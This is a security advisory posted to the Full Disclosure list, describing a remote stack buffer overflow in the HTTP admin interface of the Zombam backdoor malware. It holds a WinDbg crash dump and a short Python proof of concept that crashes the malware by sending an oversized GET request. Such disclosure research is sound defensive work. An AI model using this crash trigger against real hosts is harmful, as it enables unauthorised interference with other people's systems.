Date: Sat, 3 Jul 2021 17:39:46 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Zombam.l / Remote Stack Buffer Overflow

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/9729e9fc004ea49d3c2ddee28736dae3.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Zombam.l
Vulnerability: Remote Stack Buffer Overflow
Description: Zombam malware listens on TCP port 80 to display an HTML Web
UI for basic remote administration capability. Third-party attackers who
can reach an infected system can make an HTTP GET request sending a long
string to trigger a buffer overflow overwriting the EDX register
Type: PE32
MD5: 9729e9fc004ea49d3c2ddee28736dae3
Vuln ID: MVID-2021-0276
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 07/03/2021

Memory Dump:
(198.730): Access violation - code c0000005 (first/second chance not
available)
eax=00000000 ebx=00000000 ecx=0283fa20 edx=41414141 esi=00000003
edi=00000003
eip=778eed3c esp=0283f0bc ebp=0283f24c iopl=0         nv up ei pl nz na po
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
778eed3c c21400          ret     14h

0:005> .ecxr
eax=0283f9f0 ebx=041d02d0 ecx=0283fa20 edx=41414141 esi=041d02d0
edi=004057d6
eip=004029e0 esp=0283f9d8 ebp=0283fa28 iopl=0         nv up ei pl zr na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010246
*** WARNING: Unable to verify checksum for httpserver.exe
*** ERROR: Module load completed but symbols could not be loaded for
httpserver.exe
httpserver+0x29e0:
004029e0 8b4204          mov     eax,dword ptr [edx+4]
ds:002b:41414145=????????

0:005> !analyze -v
*******************************************************************************
*
  *
*                        Exception Analysis
  *
*
  *
*******************************************************************************

Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP:
httpserver+29e0
004029e0 8b4204          mov     eax,dword ptr [edx+4]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 004029e0 (httpserver+0x000029e0)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 41414145
Attempt to read from address 41414145

PROCESS_NAME:  httpserver.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  41414145

READ_ADDRESS:  41414145

FOLLOWUP_IP:
httpserver+29e0
004029e0 8b4204          mov     eax,dword ptr [edx+4]

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  00000730

BUGCHECK_STR:
 APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:  STRING_DEREFERENCE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  STRING_DEREFERENCE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER:  from 00402574 to 004029e0

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be
wrong.
0283fa28 00402574 41414141 0283fa40 00000415 httpserver+0x29e0
0283faa4 41414141 41414141 41414141 41414141 httpserver+0x2574
0283faa8 41414141 41414141 41414141 41414141 0x41414141
etc....

STACK_COMMAND:  ~5s; .ecxr ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  httpserver+29e0

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: httpserver

IMAGE_NAME:  httpserver.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  3eee00db

FAILURE_BUCKET_ID:
 STRING_DEREFERENCE_FILL_PATTERN_41414141_c0000005_httpserver.exe!Unknown

BUCKET_ID:
 APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141_httpserver+29e0


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=80

s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

PAYLOAD="GET /"+"A"*15028+"  HTTP/1.0\r\nHost: "+MALWARE_HOST+"\r\n\r\n"
s.send(PAYLOAD)
s.close()

print("Backdoor.Win32.Zombam.l / Remote Stack Buffer Overflow")
print("MD5: 9729e9fc004ea49d3c2ddee28736dae3")
print("By Malvuln")


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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